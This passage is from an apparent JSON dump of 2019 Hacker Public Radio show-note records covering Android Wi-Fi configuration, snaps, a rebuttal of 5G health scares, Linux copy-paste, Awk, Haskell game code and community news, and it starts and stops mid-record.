                                                            \nNormally you will get a message saying that the Wi-Fi has no Internet access. \n

                                                            \n

                                                            \n\"Android\n

                                                            \n

                                                            \nIf you tap the message a popup will allow you to stay connected and will let you remember the choice.\n

                                                            \n

                                                            \n\"OpenWireless.Org.\n

                                                            \n

                                                            \nIn some cases the router helpfully resets the connection before you can reply to the message meaning it goes into a loop continually popping up the message but not reacting to it.\n

                                                            \n

                                                            \nIn this case we can use Termux a Android Terminal emulator, to drop to a shell and fix the problem.\n

                                                            \n

                                                            \n\"Termux\"\n

                                                            \n\n

                                                            \nI used su to get root access but you could also change to the user wifi.\n

                                                            \n

                                                            \nThe file you need to edit is /data/misc/wifi/wpa_supplicant.conf. It's probably best to edit this file with the wifi off.\n

                                                            \n
                                                            \nnetwork={\n\tssid=\"OpenWireless.Org\"\n\tkey_mgmt=NONE\n\tpriority=15\n\tid_str=\"{snip}\"\n}\n
                                                            \n

                                                            \nScroll down to the network that is giving you trouble and add disabled=1\n

                                                            \n
                                                            \nnetwork={\n\tssid=\"OpenWireless.Org\"\n\tkey_mgmt=NONE\n\tpriority=15\n\tdisabled=1\n\tid_str=\"{snip}\"\n}\n
                                                            \n

                                                            \nI ended up copying the file to the sdcard, and editing it there. I then copied it back as su and used chown wifi:wifi /data/misc/wifi/wpa_supplicant.conf to fix the permissions.\n

                                                            \n\n

                                                            \nOnce that's done you can reboot the phone and connect to the network without a problem. You should also consider putting up an Open Wireless access point yourself.\n

                                                            \n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Android, fdroid, lineageos, AFWall+, Wi-Fi, wpa_supplicant.conf, termux","version":0,"downloads":0,"valid":1}, {"id":2811,"date":"2019-05-13","title":"Interview with Alan Pope","duration":5387,"summary":"In this episode, Yannick talks with Alan Pope about snaps, snapcraft and all things related","notes":"

                                                            A few years ago, when you wanted to install a package on your Linux system, you had to grab the source code, and the nightmare began. But nowadays, this is over. You have deb files, and snaps, and flatpacks, and many other package formats available. On this episode, I was joined by Alan Pope, from Canonical, to talk about one of them in particular : snaps.

                                                            ","hostid":370,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"ubuntu, snap, snapcraft, flatpack, linux, appimage, alan pope, popey","version":0,"downloads":0,"valid":1}, {"id":2812,"date":"2019-05-14","title":"Is 5G mobile data a danger to your health?","duration":484,"summary":"Apply Betteridge’s Law of Headlines to find out the answer","notes":"

                                                            This is mostly verbatim from my Fediverse post https://libranet.de/display/0b6b25a8-165c-9c7f-b55d-c7a077813050, with a few minor edits.

                                                            \n

                                                            The anti-5G campaign has been cooking for many years now, and at the epicenter of it all are two men, Lennart Hardell and Rainer Nyberg. It’s a Swedish-Finnish phenomenon that is now really making the rounds and spreading internationally, as actual commercial deployment of 5G networks draws nearer.

                                                            \n

                                                            As a Swede, I apologize. These two do not represent the Swedish or Finnish cancer or radiation research community, and our media have given them far more space in the public discourse than their work merits.

                                                            \n

                                                            They are heavily quoted in networks of pseudoscience, including anti-vaccine sites, right-wing "alternative facts" sites and Strålskyddsstiftelsen ("Swedish Radiation Protection Foundation"), a private foundation created in 2012 with a deceptive name meant to invoke authority, which has had to be corrected on multiple occasions by the actual Swedish Radiation Safety Authority, Strålskyddsmyndigheten.

                                                            \n

                                                            Strålskyddsstiftelsen received the 2013 "Misleader of the Year" award from the main Swedish scientific skeptics' society, Vetenskap och Folkbildning ("Science and Public Education") for "[their fearmongering propaganda and biased reporting on the health effects of mobile telephony use and wireless networks]".

                                                            \n

                                                            https://www.vof.se/utmarkelser/tidigare-utmarkelser/aretas-forvillare-2013/ (in Swedish)

                                                            \n

                                                            These networks are part of a feedback loop where they get media attention, politicians pick up on their claims and use them to invoke the precautionary principle and get precautionary regulation in place, or judges rule based on the claims, which then gets quoted by these entities as evidence that they were right all along.

                                                            \n

                                                            They make it very hard to find factual information on whether millimeter-wavelength radiation actually has any different effect from the centimeter-wavelength radiation that we have been using for over two decades without any documented harmful effects, because wherever you look you just find these sites claiming that we have definitely had adverse health effects for the last two decades and the new frequency bands will definitely be far worse.

                                                            \n

                                                            When you dig deeper into the claims on these sites you find a handful of cherry-picked articles, leading back to the two men mentioned at the top, to studies with flawed methodology like self-reported surveys on mobile telephony use among cancer patients, or to the pseudoscience/media/politics/law feedback loop. And it’s all about centimeter waves, which simply have shown no conclusive sign of increasing brain cancers or any other adverse health effect related to the radiation. For every positive report made you can find one that reports brain cancer fell as we introduced mobile phones. There is a massive body of data, and if the signal were there, we would have seen it by now.

                                                            \n

                                                            I’m no cancer researcher, but neither is Rainer Nyberg, he’s a retired professor in pedagogy. He’s a concerned citizen. https://en.wikipedia.org/wiki/Lennart_Hardell is an actual oncologist and professor who has studied carcinogens, but his research results on the wireless/cancer connection have been dismissed as "non-informative", "post hoc", "barely statistically significant" and "flawed" by his peers. There is nothing there.

                                                            \n

                                                            We know that high-voltage 16.7 Hz fields increase the risk for leukemia in train drivers, but we don’t know why. I am open to the possibility that 20-50 GHz waves have different consequences from 2 GHz waves, but I’d have to hear it from a credible source.

                                                            \n

                                                            Straight up DNA mutation is out the window, and that’s one of the centerpoints of these campaigns. This is still frequencies below visual light, it’s not ionizing radiation. No plausible mechanism has been suggested, and there is no clear data on any adverse effects.

                                                            \n

                                                            We use millimeter waves for the full body scans in US airports. Surely the effects of those have been studied? The top search results go to truthaboutcancer and infowars and similar names I won’t even bother to click. I don’t want to read another article about how all cancer research after 1950 has been wrong, we should all just eat chalk to balance our acidity, and cancer is a fungus.

                                                            \n

                                                            Apart from the pseudoscience sites I found one paper on the first search results page, concluding that X-ray backscatter scanners have well-known risks, but radiation levels are far below safety standards, both for passengers and for security staff, and also below the background radiation exposure while flying, and millimeter-wave scanners, while an "alarmingly small amount of information about its potential health effects" is available, "The established health effects associated with non-ionizing radiation are limited to thermal effects" and "these scanners operate at outputs well below those required to produce tissue heating", that is, we currently don’t know of a way millimeter waves might be harmful: https://www.sciencedirect.com/science/article/pii/S1687850714000168 (https://doi.org/10.1016/j.jrras.2014.02.005)

                                                            \n

                                                            For a guide on how to spot pseudoscience and how to read scientific papers, see ahuka’s excellent hpr2695: Problems with Studies.

                                                            \n

                                                            https://en.wikipedia.org/wiki/Betteridge%27s_Law_of_Headlines

                                                            ","hostid":311,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"5g, health, radiation, pseudoscience","version":0,"downloads":0,"valid":1}, {"id":2813,"date":"2019-05-15","title":"Should we dump the linux Desktop.","duration":1229,"summary":"Knightwise wonders if we should let go of the linux desktop environments and focus on cross-platform","notes":"

                                                            Knightwise wonders if we should let go of the linux desktop environments and focus on cross-platform applications instead. Please bring your torches and pitchforks.

                                                            ","hostid":111,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"linux, desktop, rant","version":0,"downloads":0,"valid":1}, {"id":2814,"date":"2019-05-16","title":"Spectre and Meltdown and OpenBSD and our future","duration":1251,"summary":"A discussion about CPU's and our future with them, where are we going?","notes":"

                                                            I discuss the entire Spectre and Meltdown issues and where we might go post an Intel world. My objective is to encourage others to leave Speculative processing backed by management engine based chips. SCATTER HUMANS!!! WE MUST LEAVE!!!!

                                                            \n","hostid":377,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"SCATTER HUMANS!!!","version":0,"downloads":0,"valid":1}, {"id":2815,"date":"2019-05-17","title":"Copy pasta","duration":2300,"summary":"Copying and pasting on Linux: X selections, xsel, clipboard managers, GPM, screen, and more","notes":"

                                                            \nYou can copy and paste on Linux the same way you do on any other OS: Ctrl+C to copy and Ctrl+V to paste (or use the Edit menu, or a right-click menu).\n

                                                            \n\n

                                                            \nHowever, Linux doesn't limit you to just that.\nThe primary GUI environment of Linux (at the time of this recording) is X, and the Inter-Client Communication Conventions Manual defines three X Selection states: Primary, Secondary, and Clipboard.\nThe Secondary is rarely (if ever?) used, so I don't cover it here.\n

                                                            \n\n

                                                            Primary

                                                            \n\n

                                                            \nThe primary X Selection is anything literally selected at any given moment.\nIf you highlight a word in Firefox with your mouse, for instance, then it becomes the Primary Selection, and it is owned by Firefox.\nIf you press the Middle Mouse Button in any application, then that application asks the owner (Firefox, in this example) for the data contained in the Primary Selection.\nFirefox sends the data to that application so that it can paste it for you.\n

                                                            \n\n

                                                            \nA Primary selection remains the Primary Selection until it is overwritten by a new Primary Selection.\nIn other words, text needn't be highlighted to be retained in the Primary Selection slot.\n

                                                            \n\n\n

                                                            Clipboard

                                                            \n\n

                                                            \nThe Clipboard Selection is data that has explicitly been sent to the clipboard by a copy action.\nThis is usually a right-click > Copy or a selection of Edit > Copy.\nWhen another application is told to paste from the clipboard, it pastes data from the Clipboard Selection.\n

                                                            \n\n

                                                            Both

                                                            \n\n

                                                            \nYou can (and often do) have both a Primary Selection and a Clipboard selection.\nIf you press Ctrl+V, you get the contents of the Clipboard Selection.\nIf you press the middle mouse button, then you get the contents of the Primary Selection.\n

                                                            \n\n

                                                            xsel

                                                            \n\n

                                                            \nThe xsel command allows you to retrieve the contents of an X Selection.\n

                                                            \n\n
                                                            \n$ xsel --primary\ndungeons\n$ xsel --clipboard\ndragons\n
                                                            \n\n

                                                            Clipboard managers

                                                            \n\nClipboard managers such as Klipper, CopyQ, Parcellite, and so on, provide a history for your clipboard.\nThey track the latest 10 (or so) items you have copied or selected.\nThey can be a little confusing, because they do tend to blur the line between the Primary Selection and the Clipboard Selection, but now that you know the technical difference, it shouldn't confuse you to see them both listed by a clipboard manager designed to conflate them.\n

                                                            \n\n

                                                            GPM

                                                            \n\n

                                                            \nGPM is a daemon allowing you to use your mouse without a GUI.\nAmong its features, it permits you to select text in a text console (TTY) and then paste it with the middle mouse button.\n

                                                            \n\n

                                                            GNU Screen and Tmux

                                                            \n\n

                                                            \nScreen and tmux are "window managers for text consoles".\nI don't tend to use tmux as often as I should, having learnt GNU Screen long ago, so I'm not familiar with the process of copying and pasting with tmux.\nFor Screen, you can copy text in this way:\n

                                                            \n\n
                                                              \n
                                                            1. \nPress Ctrl+A to get out of insert mode.\n

                                                            2. \n
                                                            3. \nPress left-square_bracket to enter copy-mode\n

                                                            4. \n
                                                            5. \nMove your text to the position you want to start selecting and press Enter or Return\n

                                                            6. \n
                                                            7. \nArrow to the position at which you want to end your selection and press Enter or Return again\n

                                                            8. \n
                                                            \n\n

                                                            \nTo paste your selection:\n

                                                            \n\n
                                                              \n
                                                            1. \nPress Ctrl+A to get out of insert mode.\n

                                                            2. \n
                                                            3. \nPress right-square_bracket to paste\n

                                                            4. \n
                                                            \n\n\n\n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"copy,paste,xsel","version":0,"downloads":0,"valid":1}, {"id":2816,"date":"2019-05-20","title":"Gnu Awk - Part 14","duration":1357,"summary":"Redirection of input and output - part 1","notes":"

                                                            Introduction

                                                            \n

                                                            This is the fourteenth episode of the \"Learning Awk\" series which is being produced by Mr. Young and myself.

                                                            \n

                                                            In this episode and the next I want to start looking at redirection within Awk programs. I had originally intended to cover the subject in one episode, but there is just too much.

                                                            \n

                                                            So, in the first episode I will be starting with output redirection and then in the next episode will spend some time looking at the getline command used for explicit input, often with redirection.

                                                            \n

                                                            Long notes

                                                            \n

                                                            I have provided detailed notes as usual for this episode, and these can be viewed here.

                                                            \n

                                                            Links

                                                            \n\n\n","hostid":225,"series":94,"explicit":1,"license":"CC-BY-SA","tags":"Awk utility, Awk Language, gawk,redirection","version":0,"downloads":0,"valid":1}, {"id":2817,"date":"2019-05-21","title":"Are you successful? Click to find out more!","duration":281,"summary":"The answer may surprise you!","notes":"

                                                            Based on https://libranet.de/display/0b6b25a8-125c-a71f-c7ae-f1a686792961.

                                                            \n

                                                            It’s pretty short, less than 4 minutes, but I think it’s important.

                                                            \n

                                                            Who defines whether you are successful, or whether your project is successful, and does it matter?

                                                            ","hostid":311,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"success, self-care","version":0,"downloads":0,"valid":1}, {"id":2818,"date":"2019-05-22","title":"Writing Web Game in Haskell - Science, part 1","duration":2606,"summary":"Tuula explains types and data they used to model science in their Haskell game","notes":"

                                                            Background

                                                            \n

                                                            This is rather large topic, so I split it in two episodes. Next one should follow in two weeks if everything goes as planned. First part is about modeling research, while second part concentrates on how things change over time.

                                                            \n

                                                            There’s three types of research: engineering, natural sciences and social sciences. Research costs points that are produced by various buildings.

                                                            \n

                                                            Implementation

                                                            \n

                                                            There’s three database tables, which are defined below:

                                                            \n
                                                            CurrentResearch\n    type Technology\n    progress Int\n    factionId FactionId\n\nAvailableResearch\n    type Technology\n    category TopResearchCategory\n    factionId FactionId\n\nCompletedResearch\n    type Technology\n    level Int\n    factionId FactionId\n    date Int
                                                            \n

                                                            Data types

                                                            \n

                                                            Technology is enumeration of all possible technologies. Knowing these enable player to build specific buildings and space ships, enact various laws and so on. In the end this will be (hopefully) large list of technologies.

                                                            \n
                                                            data Technology =\n    HighSensitivitySensors\n    | SideChannelSensors\n    | HighTensileMaterials\n    | SatelliteTechnology\n    | BawleyHulls\n    | SchoonerHulls\n    | CaravelHulls\n    ...\n    deriving (Show, Read, Eq, Enum, Bounded, Ord)
                                                            \n

                                                            All research belong to one of the top categories that are shown below:

                                                            \n
                                                            data TopResearchCategory =\n    Eng\n    | NatSci\n    | SocSci\n    deriving (Show, Read, Eq, Ord)
                                                            \n

                                                            ResearchCategory is more fine grained division of research. Each of the categories is further divided into sub-categories. Only EngineeringSubField is shown below, but other two are similarly divided.

                                                            \n
                                                            data ResearchCategory =\n    Engineering EngineeringSubField\n    | NaturalScience NaturalScienceSubField\n    | SocialScience SocialScienceSubField\n    deriving (Show, Read, Eq)\n\ndata EngineeringSubField =\n    Industry\n    | Materials\n    | Propulsion\n    | FieldManipulation\n    deriving (Show, Read, Eq)
                                                            \n

                                                            ResearchScore is measure of how big some research is. It has type parameter a that is used to further quantify what kind of ResearchScore we’re talking about.

                                                            \n
                                                            newtype ResearchScore a = ResearchScore { unResearchScore :: Int }\n    deriving (Show, Read, Eq, Ord, Num)
                                                            \n

                                                            TotalResearchScore is record of three different types of researches. I’m not sure if I should keep it as a record of three fields or if I should change it so that only one of those values can be present at any given time.

                                                            \n
                                                            data TotalResearchScore a = TotalResearchScore\n    { totalResearchScoreEngineering :: ResearchScore EngineeringCost\n    , totalResearchScoreNatural :: ResearchScore NaturalScienceCost\n    , totalResearchScoreSocial :: ResearchScore SocialScienceCost\n    }\n    deriving (Show, Read, Eq)
                                                            \n

                                                            Following singleton values are used with ResearchScore and TotalResearchScore to quantify what kind of value we’re talking about.

                                                            \n
                                                            data EngineeringCost = EngineeringCost\n    deriving (Show, Read, Eq)\n\ndata NaturalScienceCost = NaturalScienceCost\n    deriving (Show, Read, Eq)\n\ndata SocialScienceCost = SocialScienceCost\n    deriving (Show, Read, Eq)\n\ndata ResearchCost = ResearchCost\n    deriving (Show, Read, Eq)\n\ndata ResearchProduction = ResearchProduction\n    deriving (Show, Read, Eq)\n\ndata ResearchLeft = ResearchLeft\n    deriving (Show, Read, Eq)
                                                            \n

                                                            Finally there’s Research, which is a record that uses many of the types introduced earlier. It describes what Technology is unlocked upon completion, what’s the cost is and if there are any technologies that have to have been researched before this research can start. The tier of research isn’t currently used for anything, but I have vague plans what to do about it in the future.

                                                            \n
                                                            data Research = Research\n    { researchName :: Text\n    , researchType :: Technology\n    , researchCategory :: ResearchCategory\n    , researchAntecedents :: [Technology]\n    , researchCost :: TotalResearchScore ResearchCost\n    , researchTier :: ResearchTier\n    }\n    deriving (Show, Read, Eq)
                                                            \n

                                                            Tech tree

                                                            \n

                                                            Putting all this together, we can define a list of Research. Since finding an entry from this list based on research type of it is such a common operation, we also define another data structure for this specific purpose. Map in other programming languages is often known as dictionary, associative array or hash map. It stores key-value - pairs. In our case Technology is used as key and Research as value. We define it based on the list previously defined:

                                                            \n
                                                            techMap :: Map.Map Technology Research\ntechMap = Map.fromList $ (\\x -> (researchType x, x)) <$> unTechTree techTree
                                                            \n

                                                            Next time we’ll look into how to actually use all these types and data that were defined.

                                                            \n","hostid":364,"series":107,"explicit":0,"license":"CC-BY-SA","tags":"Haskell","version":0,"downloads":0,"valid":1}, {"id":2819,"date":"2019-05-23","title":"Reply to Knightwise - podcasts","duration":493,"summary":"I provide a slightly different view on podcasts to that recently given by Knightwise.","notes":"

                                                            Knightwise, in HPR 2798, made the argument that podcasts are better if they are done by \"pirates\", i.e. not by corporations, but by individuals with something to say. While I see some merit in this view, I think the more significant feature of podcasts is that it gets us away from \"broadcasting\" (shows aimed at the lowest common denominator) and towards \"narrowcasting\", an environment where small niche interests can find an audience and thrive since podcasting does not require a lot of resources. But I do appreciate the chance to hear some radio programs that I would not otherwise be able to listen to when they are offered as podcasts.

                                                            \n

                                                            Links:

                                                            \n","hostid":198,"series":75,"explicit":0,"license":"CC-BY-SA","tags":"podcasts, narrowcasting, broadcasting","version":0,"downloads":0,"valid":1}, {"id":2820,"date":"2019-05-24","title":"29 - CERT Home Security Tips","duration":1337,"summary":"What CERT recommends to mitigate security and privacy threats to your home network.","notes":"

                                                            The Computer Emergency Readiness Team of the US Department of Homeland Security issues a security bulletin, ST15-002, which has tips for home network security. In this episode we review these tips and why they make sense.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"Home Networks, Security","version":0,"downloads":0,"valid":1}, {"id":2821,"date":"2019-05-27","title":"Interviewing some exhibitors at the 2019 vcfe.org event","duration":2784,"summary":"I interviewed some of the exhibitors at the recent vcfe.org event in Munich, Germany.","notes":"

                                                            I visited the vcfe.org event in Munich, Germany.

                                                            \n

                                                            Below you will find some urls for the projects that I came across.

                                                            \n\n

                                                            If you like these things, the next exhibition will be in September in Berlin (you can find more info on vcfb.de).

                                                            \n

                                                            Regards, Jeroen Baten

                                                            ","hostid":369,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"vcfe, vintage, computers, exhibition, munich, germany","version":0,"downloads":0,"valid":1}, {"id":2822,"date":"2019-05-28","title":"What's in the Box! Part 1","duration":1265,"summary":"NYbill opens a mystery box he found in the mail box.","notes":"

                                                            NYbill opens a mystery box that arrived in the mail.

                                                            \n

                                                            No spoilers. But, it involves soldering…

                                                            \n

                                                            Pics for the episode:

                                                            \n

                                                            https://media.gunmonkeynet.net/u/nybill/collection/what-s-in-the-box/

                                                            ","hostid":235,"series":103,"explicit":0,"license":"CC-BY-SA","tags":"DIY, Soldering, Guitar, electronics","version":0,"downloads":0,"valid":1}, {"id":2823,"date":"2019-05-29","title":"Gentoo and why I use it","duration":748,"summary":"I talk about what Gentoo is, and why I love it so much.","notes":"

                                                            Thanks to norrist for suggesting I do this episode!

                                                            \n\n","hostid":374,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Gentoo","version":0,"downloads":0,"valid":1}, {"id":2824,"date":"2019-05-30","title":"Gnu Awk - Part 15","duration":1916,"summary":"Redirection of input and output - part 2","notes":"

                                                            Introduction

                                                            \n

                                                            This is the fifteenth episode of the “Learning Awk” series which is being produced by Mr. Young and myself.

                                                            \n

                                                            This is the second of a pair of episodes looking at redirection in Awk scripts.

                                                            \n

                                                            In this episode I will spend some time looking at the getline command used for explicit input (as opposed to the usual implicit sort), often with redirection. The getline command is a complex subject which I will cover only relatively briefly. You are directed to the getline section of the GNU Awk User’s Guide for the full details.

                                                            \n

                                                            Long notes

                                                            \n

                                                            I have provided detailed notes as usual for this episode, and these can be viewed here.

                                                            \n

                                                            Links

                                                            \n\n\n","hostid":225,"series":94,"explicit":1,"license":"CC-BY-SA","tags":"Awk utility, Awk Language, gawk, redirection","version":0,"downloads":0,"valid":1}, {"id":2825,"date":"2019-05-31","title":"More text to speech trials","duration":286,"summary":"A supplementary show to Jeroens episode 2792","notes":"

                                                            \nA supplementary show to Jeroens episode HPR2792 :: Playing around with text to speech synthesis on Linux.\n

                                                            \n

                                                            \nI found two addional options. The first is mimic\n

                                                            \n
                                                            \n# dnf info mimic\nSummary      : Mycroft's TTS engine\nURL          : https://mimic.mycroft.ai/\nLicense      : BSD\nDescription  : Mimic is a fast, lightweight Text-to-speech engine developed by Mycroft A.I.\n             : and VocalID, based on Carnegie Mellon University’s FLITE software. Mimic takes\n             : in text and reads it out loud to create a high quality voice. Mimic's\n             : low-latency, small resource footprint, and good quality voices set it apart\n             : from other open source text-to-speech projects.\n
                                                            \n\n

                                                            \nAnd the second is gTTS which is a interface to the google TTS api.\n

                                                            \n","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"gTTS, Mimic, tts","version":0,"downloads":0,"valid":1}, {"id":2826,"date":"2019-06-03","title":"HPR Community News for May 2019","duration":3497,"summary":"HPR Volunteers talk about shows released and comments posted in May 2019","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new hosts:
                                                            \n\n Joel D, \n Zen_Floater2.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            2803Wed2019-05-01Update on my Raspi 3 B OpenMedia Vault and Next Cloud instancesJWP
                                                            2804Thu2019-05-02Awk Part 13: Fix-Width Field ProcessingMr. Young
                                                            2805Fri2019-05-03My 50th ShowTony Hughes AKA TonyH1212
                                                            2806Mon2019-05-06HPR Community News for April 2019HPR Volunteers
                                                            2807Tue2019-05-07Are bash local variables local?clacke
                                                            2808Wed2019-05-08Haskell function typesTuula
                                                            2809Thu2019-05-09The Blue Oak Model License and Its One Big GotchaJoel D
                                                            2810Fri2019-05-10Wi-Fi on AndroidKen Fallon
                                                            2811Mon2019-05-13Interview with Alan PopeYannick
                                                            2812Tue2019-05-14Is 5G mobile data a danger to your health?clacke
                                                            2813Wed2019-05-15Should we dump the linux Desktop.knightwise
                                                            2814Thu2019-05-16Spectre and Meltdown and OpenBSD and our futureZen_Floater2
                                                            2815Fri2019-05-17Copy pastaklaatu
                                                            2816Mon2019-05-20Gnu Awk - Part 14Dave Morriss
                                                            2817Tue2019-05-21Are you successful? Click to find out more!clacke
                                                            2818Wed2019-05-22Writing Web Game in Haskell - Science, part 1Tuula
                                                            2819Thu2019-05-23Reply to Knightwise - podcastsAhuka
                                                            2820Fri2019-05-2429 - CERT Home Security TipsAhuka
                                                            2821Mon2019-05-27Interviewing some exhibitors at the 2019 vcfe.org eventJeroen Baten
                                                            2822Tue2019-05-28What's in the Box! Part 1NYbill
                                                            2823Wed2019-05-29Gentoo and why I use italdenp
                                                            2824Thu2019-05-30Gnu Awk - Part 15Dave Morriss
                                                            2825Fri2019-05-31More text to speech trialsKen Fallon
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 16 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 6 comments on\n4 previous shows:

                                                            \n
                                                              \n
                                                            • hpr2504\n(2018-03-08) \"Intro to Git with pen and paper\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nKen Fallon on 2019-05-23:\n\"This needs to be a video\"

                                                              \n
                                                            • hpr2793\n(2019-04-17) \"bash coproc: the future (2009) is here\"\nby clacke.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nclacke on 2019-05-04:\n\"Re: backquotes vs dollar-paren\"
                                                              • \n
                                                              • \nComment 3:\nclacke on 2019-05-09:\n\"Re: awk coprocesses\"
                                                              • \n
                                                              • \nComment 4:\nDave Morriss on 2019-05-09:\n\"Regarding awk coprocesses\"

                                                              \n
                                                            • hpr2794\n(2019-04-18) \"Interview with Martin Wimpress\"\nby Yannick.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nKlaatu on 2019-05-26:\n\"Great interview\"

                                                              \n
                                                            • hpr2798\n(2019-04-24) \"Should Podcasters be Pirates ?\"\nby knightwise.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 4:\nKlaatu on 2019-05-07:\n\"This is one of those episodes...\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 10 comments on 4 of this month's shows:

                                                            \n
                                                            • hpr2806\n(2019-05-06) \"HPR Community News for April 2019\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nclacke on 2019-05-09:\n\"Yggdrasil and Hollywood\"
                                                              • Comment 2:\nclacke on 2019-05-09:\n\"HKOSCON2019\"

                                                              \n
                                                            • hpr2809\n(2019-05-09) \"The Blue Oak Model License and Its One Big Gotcha\"\nby Joel D.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nnorrist on 2019-05-09:\n\"The show _was_ fun\"
                                                              • Comment 2:\nJoel D on 2019-05-16:\n\"re: norrist\"

                                                              \n
                                                            • hpr2813\n(2019-05-15) \"Should we dump the linux Desktop.\"\nby knightwise.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nYannick on 2019-05-15:\n\"Should we dump Windows?\n\"
                                                              • Comment 2:\nHipstre on 2019-05-15:\n\"Do We Need Linux?\"
                                                              • Comment 3:\nDV on 2019-05-16:\n\"Response to knightwise\"
                                                              • Comment 4:\nDeepGeek on 2019-05-17:\n\"Desktop is Dead\"
                                                              • Comment 5:\nSnapdeus on 2019-05-17:\n\"Linux desktop\"

                                                              \n
                                                            • hpr2814\n(2019-05-16) \"Spectre and Meltdown and OpenBSD and our future\"\nby Zen_Floater2.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClaudioM on 2019-05-17:\n\"Hello, Fellow Puffy Disciple!\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-May/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Links

                                                            \n\n

                                                            Tags and Summaries

                                                            \n

                                                            Over the period tags and/or summaries have been added to 10 shows which were without them.

                                                            \n

                                                            If you would like to contribute to the tag/summary project visit the summary page at https://hackerpublicradio.org/report_missing_tags.php and follow the instructions there.

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2827,"date":"2019-06-04","title":"Unscripted ramblings from my garage about my first CTF event","duration":832,"summary":"I briefly discss a CTF event I was invited to and what I plan to bring with me.","notes":"

                                                            Unscripted ramblings about an upcoming CTF event.

                                                            \n

                                                            Hak5 items mentioned (hak5.org):

                                                            \n
                                                              \n
                                                            • WiFi Pineapple
                                                            • \n
                                                            • Bash Bunny (erroneously referred to as a ‘rabbit’)
                                                            • \n
                                                            • USB Rubber Ducky
                                                            • \n
                                                            • Packet Squirrel
                                                            • \n
                                                            • LAN Turtle (unmentioned but I’ll bring one)
                                                            • \n
                                                            \n

                                                            Software mentioned:

                                                            \n\n

                                                            My info:

                                                            \n\n

                                                            Links

                                                            \n\n","hostid":241,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"ctf, hacking, security, infosec, events, conventions, gear","version":0,"downloads":0,"valid":1}, {"id":2828,"date":"2019-06-05","title":"Writing Web Game in Haskell - Science, part 2","duration":2734,"summary":"Tuula continues their explanation on simulating science in a game written in Haskell","notes":"

                                                            Intro

                                                            \n

                                                            Last time we looked how to model technology and research. This time we’ll do some actual research. I’m skipping over some of the details as the episode is long enough as it is. Hopefully it’s still possible to follow with the show notes.

                                                            \n

                                                            Main concepts that I’m mentioning: Technology allows usage of specific buildings, ship components and such. Research unlock technologies and may have antecedents that has to be completed before the research can be started. Research cost is measure of how expensive a research is in terms of research points, which are produced by different buildings.

                                                            \n

                                                            Earlier I modeled tech tree as Map that had Technology as keys and Research as values. I realized that this is suboptimal and will replace it at some point in the future.

                                                            \n

                                                            Server API

                                                            \n

                                                            There’s three resources that client can connect to. First one is for retrieving list of available research, second one for manipulating current research and last one for retrieving info on how much research points is being produced.

                                                            \n
                                                            /api/research/available     ApiAvailableResearchR       GET\n/api/research/current       ApiCurrentResearchR         GET POST DELETE\n/api/research/production    ApiResearchProductionR      GET
                                                            \n

                                                            Simulation

                                                            \n

                                                            Simulation of research is done by handleFactionResearch, which does simulation for one faction for a given date. After calculating current research point production and retrieving list of current research, function calculates progress of current researches. Unfinished ones are written back to database, while completed are moved into completed_research table. Final step is updating what research will be available in the next turn.

                                                            \n
                                                            handleFactionResearch date faction = do\n    production <- totalProduction $ entityKey faction\n    current <- selectList [ CurrentResearchFactionId ==. entityKey faction ] []\n    let updated = updateProgress production <$> current\n    _ <- updateUnfinished updated\n    _ <- handleCompleted date updated $ entityKey faction\n    _ <- updateAvailableResearch $ entityKey faction\n    return ()
                                                            \n

                                                            Research point production

                                                            \n

